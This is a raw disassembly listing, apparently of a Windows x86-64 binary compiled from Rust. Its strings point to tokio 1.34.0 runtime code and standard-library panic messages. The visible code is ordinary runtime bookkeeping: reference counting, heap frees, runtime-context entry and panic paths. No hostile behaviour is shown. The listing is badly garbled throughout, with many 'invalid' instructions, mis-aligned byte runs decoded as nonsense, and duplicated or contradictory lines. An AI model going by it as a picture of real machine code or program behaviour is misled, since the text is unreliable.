or byte [r15], r9b
mov dh, 5
invalid
cmp dword [0x1b4d70b8d], ecx
or eax, 0x74c08400
xor eax, 0x39f305c6
or eax, 0xc7480100
invalid
invalid
add eax, 0xd39f3
add dword [rax - 0x39], ecx
invalid
invalid
cmp dword [0x1075e8897], ecx
mov dword [rbp + 0x70], 0
jo 0x14016879a
jo 0x14016879a
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xd3b6905], cl
imul edi, dword [rbx], 0x4865000d
add byte [rbp + 0x48], ah
mov rcx, qword [0x58]
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov eax, dword [rcx + rax*8]
cmp dword [rax + 0x80], 0
mov eax, 0x80
add byte [rax], al
add byte [rax], al
invalid
add byte [rbx + rdx + 0x48], dh
adc ecx, dword [rax - 0x73]
or byte [rax - 0x15000000], 0x18
add byte [rax], al
add bl, ch
invalid
lea eax, [rax + 0x88]
add byte [rax], al
add byte [rax], al
add bl, ch
sbb byte [rax - 0x39], cl
sub byte [r8], r8b
sub byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, ch
add byte [rax], al
sub ebp, eax
mov esi, 0x48fffebd
invalid
test eax, eax
ror byte [rdi], 0x84
invalid
add byte [rbx + rcx*4 + 0x30], cl
mov esi, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 + 0x75], cl
invalid
invalid
invalid
add byte [rax], al
sub byte [rbp - 0x7b], cl
div byte [rdx + rcx - 0x10]
je case.0x14014e6ee.355
invalid
test esi, esi
inc qword [r14]
inc dword [rsi]
invalid
adc cl, byte [rdi]
or ecx, dword [rdi]
invalid
ud2
or ecx, dword [rdi]
mov dh, 5
invalid
add eax, 0xd3989
add byte [rax + rax*8 + 0x31455874], al
test dh, 5
invalid
invalid
xor esi, esi
jnp case.0x14014f2f1.299
or eax, 0x894c0100
add byte [rcx], al
add dword [rcx + rcx*4 + 0x75], ecx
cmc
cmp cl, byte [0xcb5eed1a]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
invalid
invalid
and eax, 0x58
mov eax, dword [rcx + rax*8]
add al, 0xc1
add byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx + 0x48], dh
lea eax, [rax + 0x88]
or byte [rax - 0x15000000], 0xe
add byte [rax], al
add bl, ch
invalid
mov ebp, 0x8548fffe
ror byte [rdi], 0x84
invalid
test eax, eax
test byte [rdi], cl
invalid
add byte [rax - 0x75], cl
or byte [rcx + rcx*4 + 0x30], cl
xor byte [rax - 0x7b], cl
leave
dec dword [rcx]
add eax, 0xfc10e5e8
cld
fdiv st(3)
call 0xcd95985c
movq qword [rbp + 0x98], mm1
jg case.0x14014f2f1.319
mov byte [rax], al
add byte [rax], al
invalid
adc byte [rax - 0x77], cl
jo case.0x140152a22.157
sub byte [r8 - 0x77], r9b
mov dword [rbp + 0x80], eax
add byte [rax], al
mov dword [rbp + 0x78], eax
adc byte [rax - 0x7b], cl
cmp cl, byte [0x14da1d0b2]
movabs byte [0x1975c98548000d39], al
cmp dword [0x1099bd0b9], ecx
jne case.0x140152a22.158
cmp dword [0x1099bd0b9], ecx
add byte [rax - 0x75], cl
push rcx
adc byte [rbx + rcx*4 + 0x41], cl
sub byte [rax - 1], cl
retf 0x8348
loop 0x14016a77d
lea rcx, [rdx + rax]
add rcx, 0x10
adc dh, al
add r14, r8
add qword [rcx - 1], r8
invalid
adc dh, al
add r14, r8
add qword [rcx - 1], r8
ror byte [rax - 0x7d], 1
jge 0x14016a7c4
cmp qword [rbp + 0x20], 0
je 0x14016a7f3
add byte [rsp + rcx*2 - 0x3a], dh
add r14b, r8b
add qword [rax - 0x73], r9
lea rcx, [rbp + 0x20]
invalid
mov byte [rbp + 0x4f], 0
mov byte [rbp + 0x4e], 1
lea rcx, [rbp + 0x20]
call fcn.14016af80
enter 7, 0
enter 7, 0
test rax, rax
je 0x14016a7f3
mov qword [rbp - 0x28], rax
mov rcx, rax
mov qword [rbp - 0x60], rdx
call qword [rdx]
mov rax, qword [rbp - 0x60]
cmp qword [rax + 8], 0
mov r8, qword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
mov eax, dword [rbp - 0x28]
je 0x14016a7f3
sbb cl, byte [rax - 0x7d]
js 0x14016a7ed
cmp qword [rax + 0x10], 0x11
jb 0x14016a7e4
adc dword [rdx + 4], esi
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rbp + 0x18]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov eax, dword [rax + 0x10]
mov qword [rbp - 0x20], rax
lock dec qword [rax]
jne 0x14016a812
mov byte [rbp + 0x4b], 0
lea rcx, [rbp - 0x20]
call fcn.140166f60
lea rcx, [rbp - 0x58]
call fcn.14016b0a0
mov rax, qword [rbp - 0x58]
cmp rax, 2
je 0x14016a85a
test rax, rax
je 0x14016a843
mov rax, qword [rbp - 0x50]
lock dec qword [rax]
jne 0x14016a85a
mov rcx, qword [rbp - 0x50]
mov byte [rbp + 0x4d], 0
call fcn.140166070
jmp 0x14016a85a
mov rax, qword [rbp - 0x50]
lock dec qword [rax]
jne 0x14016a85a
mov rcx, qword [rbp - 0x50]
mov byte [rbp + 0x4d], 0
call fcn.140166030
mov rcx, qword [rbp + 0x18]
cmp qword [rcx], 0
je 0x14016a879
invalid
adc eax, 0x8418b48
mov rax, qword [rcx + 8]
lock dec qword [rax]
dec dword [rax]
jne 0x14016a88c
mov rcx, qword [rcx + 8]
call fcn.140166070
jmp 0x14016a88c
invalid
or al, ch
stc
mov bh, 0xff
invalid
adc ecx, dword [rax - 0x75]
or r8b, sil
dec qword [rax]
dec dword [rax]
mov rax, qword [rcx + 8]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x14016a88c
mov rcx, qword [rcx + 8]
or al, ch
movsb byte [rdi], byte [rsi]
mov bh, 0xff
call qword [rax - 0x273b7eb8]
add rsp, 0xd8
pop rbx
pop rdi
call fcn.140166030
nop
add rsp, 0xd8
add esp, 0xd8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
lea ecx, str.assertion_failed:_prev.ref_count_____1
or eax, 0x5bcd0
lea r8, [0x1401c65a0]
lea eax, [0x1401c65a0]
add eax, 0x5bcf1
mov edx, 0x27
call fcn.140186b70
add dword [rax], eax
invalid
add byte [rax], al
add al, ch
mov bh, 0xc2
add dword [rax], eax
add cl, ch
fadd dword [rax]
add byte [rax], al
jmp 0x14016a996
add byte [rax], al
add dh, al
invalid
mov byte [rbp + 0x48], 0
lea rcx, str.assertion_failed:_prev.ref_count_____1
scasd eax, dword [rdi]
invalid
invalid
invalid
add byte [rax - 0x73], cl
or eax, 0x5bcaf
scasd eax, dword [rdi]
invalid
invalid
invalid
scasd eax, dword [rdi]
mov esp, 0x8d4c0005
add eax, 0x5bcd0
invalid
invalid
invalid
invalid
lea r8, [0x1401c65a0]
sar byte [rbp + rax + 0x27ba00], 1
mov esp, 0x27ba0005
add byte [rax], al
invalid
mov edx, 0x27
add byte [rax], al
add al, ch
xchg esi, eax
ret 1
call fcn.140186b70
jmp 0x14016a996
mov bh, 0
add byte [rax], al
mov byte [rbp + 0x49], 0
lea rcx, str.assertion_failed:_prev.ref_count_____1
invalid
invalid
add byte [r8 - 0x73], cl
add byte [rax - 0x73], cl
or eax, 0x5bc8e
add eax, 0x58d4c00
add byte [rbp + rcx*4 + 5], cl
lea r8, [0x1401c65a0]
mov edx, 0x27
scasd eax, dword [rdi]
mov esp, 0x27ba0005
add eax, 0x27ba00
add byte [rax], al
invalid
add eax, 0x27ba00
add byte [rax], al
add byte [rdx + 0x27], bh
call fcn.140186b70
jne 0x14016a8bb
add dword [rax], eax
jmp 0x14016a996
add byte [rax], al
lea rax, [0x1401c6ad0]
mov qword [rbp + 0x20], rax
rol dword [0x1859ff10b], 0x20
add eax, 0x45894800
and byte [rax - 0x73], cl
lea rax, [0x1400141a0]
lea rax, [0x1400141a0]
lea eax, [0x1400141a0]
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x28], eax
lea rax, [0x1401ea648]
mov qword [rbp - 0x20], rax
loopne 0x14016a96a
mov dword [rbp - 0x18], 1
sub edi, ebp
std
invalid
loopne 0x14016a96a
mov dword [rbp - 0x18], 1
add byte [rax], al
add byte [rax - 0x39], cl
add byte [r8], r8b
mov qword [rbp], 0
add byte [rax], al
add byte [rax - 0x73], cl
and byte [r8 - 0x77], r9b
invalid
invalid
invalid
add byte [rax], al
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x10], eax
mov qword [rbp - 8], 1
clc
add dword [rax], eax
add byte [rax], al
mov byte [rbp + 0x4d], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimehandle.rs
invalid
invalid
add qword [r8 - 0x73], r9
add dword [rax - 0x73], ecx
adc eax, 0x5c1fc
add eax, 0x4d8d4800
loopne 0x14016a939
add byte [rax - 0x73], cl
loopne 0x14016a939
lea rcx, [rbp - 0x20]
call fcn.1401869b0
pop rbx
rol byte [rcx], 0
pop rbx
rol byte [rcx], 0
jmp 0x14016a996
lea eax, [0x1401c67b8]
add eax, 0x5be5a
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
loopne 0x14016a9ab
mov qword [rbp - 0x18], 1
mov dword [rbp - 0x18], 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x7f8a7
cmpsd dword [rsi], dword [rdi]
clc
invalid
invalid
lea rax, [0x1401ea218]
cmpsd dword [rsi], dword [rdi]
clc
invalid
mov qword [rbp - 0x10], rax
invalid
pxor xmm0, xmm0
movdqu xmmword [rbp - 8], xmm0
jg 0x14016a9c2
clc
movq qword [rbp - 8], mm0
jg 0x14016a9c2
clc
clc
mov byte [rbp + 0x4f], 1
mov byte [rbp + 0x4e], 0
add byte [rax - 0x73], r9b
adc eax, 0x5be3b
invalid
invalid
invalid
add byte [rax - 0x73], r9b
adc eax, 0x5be3b
invalid
invalid
invalid
mov esi, 0x8d480005
loopne 0x14016a97a
invalid
lea rcx, [rbp - 0x20]
call fcn.1401869b0
sbb al, al
add dword [rax], eax
ud2
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push r15
push r14
push r13
push rbp
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
movzx ebx, byte [rbp + 0x4b]
lea rcx, [rbp - 0x58]
call fcn.14016aef0
mov byte [rbp + 0x4d], bl
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test al, 0xe8
invalid
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
movzx eax, byte [rbp + 0x4e]
mov byte [rbp - 0x28], al
cmp qword [rbp + 0x20], 0
jne 0x14016ac0b
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test byte [rbp + 0x4f], 1
je 0x14016ac2c
lea rcx, [rbp + 0x20]
call fcn.140169c60
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
and al, ch
invalid
pop r13
pop r14
pop r15
pop rbp
ret
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rdi], cl
mov dh, 0x5d
mov rsi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x18]
mov rsi, qword [rbp + 0x18]
mov rcx, rsi
call fcn.140169640
test bl, bl
je 0x14016ad0c
add rsi, 0x10
mov rcx, rsi
call fcn.140169ad0
in eax, dx
invalid
invalid
in eax, dx
invalid
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
nop
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
add byte [rax], al
add dh, al
add r14, r8
mov byte [rbp + 0x4f], 1
mov byte [rbp + 0x4e], 1
add qword [rax - 0x75], r9
invalid
invalid
add qword [rax - 0x75], r9
add qword [rax - 0x75], r9
call fcn.14016f450
call fcn.14016f450
add eax, dword [rdi]
add dh, al
add r14, r8
add r14, r8
mov byte [rbp + 0x4f], 1
mov byte [rbp + 0x4e], 1
add rsp, 0x28
add esp, 0x28
add r14, r8
add esi, eax
add qword [rax - 0x7d], r9
add esp, 0x28
invalid
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
and r8b, r13b
sub eax, ebx
invalid
invalid
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x73], cl
and r8b, r13b
and al, ch
sub eax, ebx
invalid
lea rcx, [rbp + 0x28]
lea ecx, [rbp + 0x28]
call fcn.1401670e0
nop
add rsp, 0x28
invalid
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
pop rbp
ret
mov dword [rsp + 0x10], edx
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
mov rax, qword [rbp - 0x10]
mov eax, dword [rbp - 0x10]
invalid
mov qword [rbp + 0x30], rax
movdqa xmm0, xmmword [rbp - 0x20]
movq mm0, qword [rbp - 0x20]
movdqa xmmword [rbp + 0x20], xmm0
mov byte [rbp + 0x4f], 1
jg case.0x14014c89f.1719
and r14b, r8b
and dh, al
add r14, r8
mov byte [rbp + 0x4e], 0
add rsp, 0x28
invalid
add byte [rax - 0x7d], r9b
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
lea rbp, [rsp + 0x70]
lea ebp, [rsp + 0x70]
mov qword [rbp - 8], 0xfffffffffffffffe
cmp qword [rdx], 0
cmp dword [rdx], 0
clc
clc
invalid
cmp dword [rdx], 0
cmp al, byte [rax]
jne 0x14016ae7f
mov qword [rdx], 0xffffffffffffffff
mov eax, 1
add byte [rax], al
add bh, bh
invalid
add byte [rax], al
mov r10d, 1
lock xadd qword [r9], r10
add al, dh
xadd qword [r9], r10
test r8, r8
test eax, eax
je 0x14016ae3b
test r10, r10
jns 0x14016ae42
jmp 0x14016ae8d
test r10, r10
js 0x14016ae8d
xor eax, eax
mov r8, qword [rdx + 8]
mov r10, qword [rdx + 0x10]
mov qword [rbp - 0x18], r8
mov qword [rbp - 0x10], r10
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], r9
inc qword [rdx]
mov rax, qword [rdx + 0x18]
cmp rax, 0xffffffffffffffff
je 0x14016ae91
inc rax
mov qword [rdx + 0x18], rax
mov qword [rcx], r8
mov qword [rcx + 8], r10
mov qword [rcx + 0x10], rax
add rsp, 0x70
pop rbp
ret
lea rcx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
call fcn.140186e00
ud2
ud2
lea rax, str.reached_max__enter__depth
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
lea rax, [0x1401ea218]
mov qword [rbp - 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
lea rcx, [rbp - 0x48]
call fcn.1401869b0
ud2
or byte [rax - 0x75], cl
jo 0x14016affb
mov rdi, qword [rax + 0x28]
cmp qword [rax + 0x18], 0
mov qword [rax + 0x18], 0
je 0x14016b03b
mov rax, qword [rbx]
lock dec qword [rax]
jne 0x14016afff
mov rcx, qword [rbx]
call fcn.140004d20
and dword [rbp - 0x74b70017], ebx
or r8b, sil
dec qword [rax]
popfq
jmp 0x183a1f901
mov rax, qword [rbx + 8]
lock dec qword [rax]
jne 0x14016b012
mov rcx, qword [rbx + 8]
call fcn.140167100
invalid
invalid
or r8b, bpl
out dx, al
sar bh, 0xff
invalid
invalid
invalid
mov rax, rsi
mov rdx, rdi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop rbp
invalid
ret
test byte [rdi], 0
lea r8, [0x1401c40a8]
mov edx, 0x2b
call fcn.140186b70
jmp 0x14016b053
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, [0x1401c40c0]
mov edx, 0x2b
call fcn.140186b70
ud2
or esp, dword [rsi + 0x66]
nop dword cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rsi, qword [rbp - 8]
mov rcx, rsi
call fcn.1401670c0
add rsi, 8
mov rcx, rsi
call fcn.1401670e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
adc cl, byte [0xcb5f15c5]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x100]
cmp eax, 1
invalid
je 0x14016b110
add dword [rbp + rsi - 0x7b], esi
ror byte [rdi], 0x85
invalid
test eax, eax
jne case.0x1401207b8.1096
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + 0xd122305], cl
invalid
invalid
and edx, dword [rdx]
invalid
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov rcx, qword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xb0]
lea rdx, [0x140165fa0]
adc eax, 0xffffae9c
mov esi, dword [rax + 0x48000000]
lea edx, [0x140165fa0]
adc eax, 0xffffae9c
adc eax, 0xffffae9c
call fcn.14014a0c0
mov byte [rbx + 0x100], 1
add dword [rax], eax
add byte [rcx], al
mov bh, 0xef
out dx, eax
std
inc esi
add dword [rax], 1
invalid
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
add dword [rbx + 0xd11f605], ecx
adc dword [0xcb5f1619], ecx
or al, 0x25
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
adc dword [0xcb5f1619], ecx
or eax, 0x8b486500
or al, 0x25
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
add al, 0xc1
ror dword [rax + 0x39], 0xb8
enter 0, 0
add byte [rax], al
cmp qword [rax + 0xc8], rdi
add byte [rax], al
add byte [rdi], cl
test dword [rbx], ebx
add dword [rax], eax
jne 0x14016b24b
add byte [rdi], cl
adc byte [rsi], al
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x30], xmm0
ror byte [rax - 0x39], 1
invalid
mov qword [rsi], 2
add byte [rbx + 0xd11c805], cl
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xb0], 0
cmp dword [rax + 0xb0], 0
mov eax, 0xb0
add byte [rdi], cl
invalid
jne case.0x1401207b8.1086
test dword [rbx], edi
add dword [rax], eax
add byte [rbx + 0xd11a705], cl
add eax, 0xd11a7
invalid
invalid
mov eax, dword [0x14023c30c]
add eax, 0xd11a7
cmpsd dword [rsi], dword [rdi]
adc dword [0xcb5f1668], ecx
invalid
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov qword [rax + 0xb0], 0xffffffffffffffff
mov al, 0
add byte [rax], al
add byte [rax], al
add bh, bh
invalid
dec dword [rax - 0x75]
cmp byte [rax + 0x48000000], 0x83
add byte [rax - 0x7d], cl
mov rax, qword [rax + 0xb8]
add byte [rax - 0x7d], cl
cmp rax, 2
je 0x14016b213
test dword [rax], eax
add byte [rax], al
clc
add cl, byte [rdi]
test byte [rbp + 0x48000000], al
test dword [rax], eax
add byte [rax], al
test rax, rax
test dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
sal byte [rcx + rax*2 - 0x75], 5
je 0x14016b1d4
invalid
invalid
jae 0x14016b1a8
test rax, rax
je 0x14016b1d4
mov eax, dword [0x14023c30c]
mov eax, dword [0x14023c30c]
or eax, 0x8b486500
or al, 0x25
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
add byte [rax], al
mov rax, qword [rcx + rax*8]
ror dword [rax - 0x75], 0x80
rol byte [rax], 0
mov rax, qword [rax + 0xc0]
mov eax, dword [rax + 0xc0]
add al, 0
add byte [rax], al
invalid
add al, dh
lock dec qword [rax]
dec qword [rax]
jne 0x14016b213
mov eax, dword [0x14023c30c]
add eax, 0xd1153
push rbx
adc dword [0xcb5f16bc], ecx
invalid
invalid
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rcx, qword [rax + 0xc0]
call fcn.140166070
scasb al, byte [rdi]
invalid
invalid
jmp 0x14016b213
mov al, al
rol byte [rax], 0
add byte [rax], al
add al, ch
sahf
scasb al, byte [rdi]
invalid
invalid
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
xor dl, byte [rcx]
adc dword [0xcb5f16dd], ecx
or eax, 0x8b486500
or al, 0x25
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add al, 0xc1
ror dword [rax - 0x75], 0x80
rol byte [rax], 0
add byte [rax], al
mov rax, qword [rax + 0xc0]
add byte [rax], al
add byte [rax], al
add al, dh
dec qword [rax]
lock dec qword [rax]
jne 0x14016b213
invalid
mov eax, dword [0x14023c30c]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rcx, qword [rax + 0xc0]
mov ecx, dword [rax + 0xc0]
mov al, al
add byte [rax], al
add al, ch
invalid
call fcn.140166030
sbb eax, 0xfffffae
scasb al, byte [rdi]
invalid
movups xmm0, xmmword [rbp - 0x30]
adc byte [rbp - 0x30], al
ror byte [r11 + 0xd10ef05], 1
ror byte [rbx + 0xd10ef05], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov rcx, qword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb8], xmm0
inc qword [rax + 0xb0]
invalid
mov al, 0
add byte [rax], al
cmp byte [rax + 0x48000000], 0xff
xor byte [rax + 0x48000000], 0xff
mov al, 0
add byte [rax], al
dec rdi
mov qword [rax + 0xc8], rdi
add byte [rax], al
invalid
iretd
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rax, qword [0x14023c300]
add eax, 0xd10ae
shl rax, 1
test rax, rax
loopne 0x14016b29e
test eax, eax
je 0x14016b263
call fcn.14018d880
and dword [rsi], esp
add al, byte [rax]
test al, al
je 0x14016b242
invalid
fisttp word [rax - 0x73]
add eax, 0x59b3e
invalid
lea rax, str._EnterGuard__values_dropped_out_of_order._Guards_returned_by__tokio::runtime::Handle::enter____must_be_dropped_in_the_reverse_order_as_they_were_acquired.
add byte [rax - 0x77], cl
ror byte [r8 - 0x39], 1
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], 1
fadd dword [r9]
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x1401ea218]
fadd dword [r9]
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x1401ea218]
lea eax, [0x1401ea218]
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
adc dword [rbp - 0x18], eax
adc dword [rbp - 0x18], eax
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
lea rcx, [rbp - 0x30]
wait
add eax, 0x4d8d4800
shr al, 1
call fcn.1401869b0
ud2
call fcn.1401869b0
ud2
lea rcx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtimecontextcurrent.rs
invalid
call fcn.140186e00
ud2
lea rax, [0x1401c4728]
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destruction_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadlocal.rs
lea r9, [0x1401c4348]
lea r8, [rbp - 0x30]
lea eax, [rbp - 0x30]
lea eax, [rbp - 0x30]
mov edx, 0x46
call fcn.140186ec0
ud2
invalid
add al, ch
invalid
or esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
nop dword [rax + rax]
nop dword [rax + rax]
add byte [rax - 0x77], cl
push rsp
and al, 0x10
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea rcx, [rbp - 0x30]
shr al, 1
push rsi
add byte [rax], al
invalid
nop
shr al, 1
push rsi
add byte [rax], al
add byte [rax + 0x28c48348], dl
add rsp, 0x28
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
invalid
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
movups xmm0, xmmword [rbp - 0x30]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb8], xmm0
call fcn.14016b390
add byte [rax], al
add byte [rax + 0x28c48348], dl
invalid
cmp byte [rax - 0x18000000], 0x4c
add byte [rax], al
add byte [rax + 0x28c48348], dl
invalid
sub byte [rbx + 0x5f], bl
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
add dh, byte [rbx + rbp + 0x48]
test eax, eax
je 0x14016b371
mov rax, qword [rcx + 8]
lock dec qword [rax]
dec dword [rax]
dec dword [rax]
jne 0x14016b384
mov rcx, qword [rcx + 8]
jmp fcn.140166070
or cl, ch
jmp [rdi + rdi*8 + 0x418b48ff]
invalid
invalid
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
lock dec qword [rax]
jne 0x14016b384
mov rcx, qword [rcx + 8]
jmp fcn.140166030
lodsb al, byte [rsi]
lodsb al, byte [rsi]
invalid
invalid
lodsb al, byte [rsi]
lodsb al, byte [rsi]
invalid
ret
int3
int3
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
inc qword [rax + 0xb0]
ret
push rsi
sub byte [rbx + rcx*4 + 0x31], cl
add byte [rax], al
add byte [rax - 0x77], cl
xlatb
mov ebx, ecx
